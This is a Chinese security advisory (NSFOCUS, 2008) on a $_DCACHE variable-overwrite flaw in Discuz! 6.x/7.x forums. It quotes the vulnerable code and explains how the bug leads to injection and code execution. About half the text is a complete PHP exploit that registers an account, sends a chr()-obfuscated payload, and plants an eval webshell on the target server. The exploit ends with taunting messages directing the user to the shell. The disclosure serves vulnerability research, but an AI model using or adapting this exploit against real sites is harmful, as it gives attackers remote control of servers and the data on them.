安全研究

安全漏洞
Discuz! $_DCACHE数组变量覆盖漏洞

发布日期:2008-11-14
更新日期:2008-11-17

受影响系统:
Discuz! Discuz! 7.0
Discuz! Discuz! 6.0.1
描述:
BUGTRAQ  ID: 32303

Discuz!是一款华人地区非常流行的Web论坛程序。

由于Discuz!的wap\index.php调用Chinese类里Convert方法在处理post数据时错误的忽视对数组的处理,可能导致数组被覆盖为NULL。当覆盖$_DCACHE时就可能导致跨站脚本、SQL注入、代码执行等严重的安全问题。

以下是/wap/index.php中的漏洞代码段:

//43行
$chs = '';
if($_POST && $charset != 'utf-8') {
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value) {
        $$key = addslashes(stripslashes($chs->Convert($$key)));
    }
    unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
    require_once './include/'.$action.'.inc.php';

这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法存在一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE。如果POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL,再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串。

/wap/include/register.inc.php

//124行
    require_once DISCUZ_ROOT.'./include/cache.func.php';
    $_DCACHE['settings']['totalmembers']++;
    $_DCACHE['settings']['lastmember'] = $discuz_userss;
    updatesettings();
    
这里是注册用户后更新缓存数据,在updatesettings()中如下处理:

include/cache.func.php

//252行
function updatesettings() {
    global $_DCACHE;
    if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
        writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
    }
}

可以看到这里写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']。

include/common.inc.php

//95行
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
        (!empty($_POST['styleid']) ? $_POST['styleid'] :
        (!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
        $_DCACHE['settings']['styleid'])));

$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);

if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
    $cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}

这里用extract处理了$_DCACHE['settings'],但由于此时包含的forumdata/cache/cache_settings.php文件中仅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用。攻击者可以随意提交这些变量,导致跨站脚本、sql注入、命令执行等严重的安全问题。

请注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是wap注册时写入的数据。

<*来源:ryat (ryat@wolvez.org
  
  链接:http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = 'www.80vul.com';
// 服务器域名或IP
$path = '/discuz/';
// 程序所在的路径
$key  = 0;
// 上面的变量编辑好后,请将此处的值改为1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
     exit("专业点好不,先看看里面的注释 -,-\n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
    exit("哦,大概是没有开启WAP注册吧 -,-\n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
    exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n");
else
    exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");

function send()
{
    global $host, $path, $url, $cmd;

    $data = "POST ".$path."wap/index.php  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Referer: http://$host$path\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Connection: Close\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

建议:
厂商补丁:

Discuz!
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.discuz.net/

浏览次数:3791
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障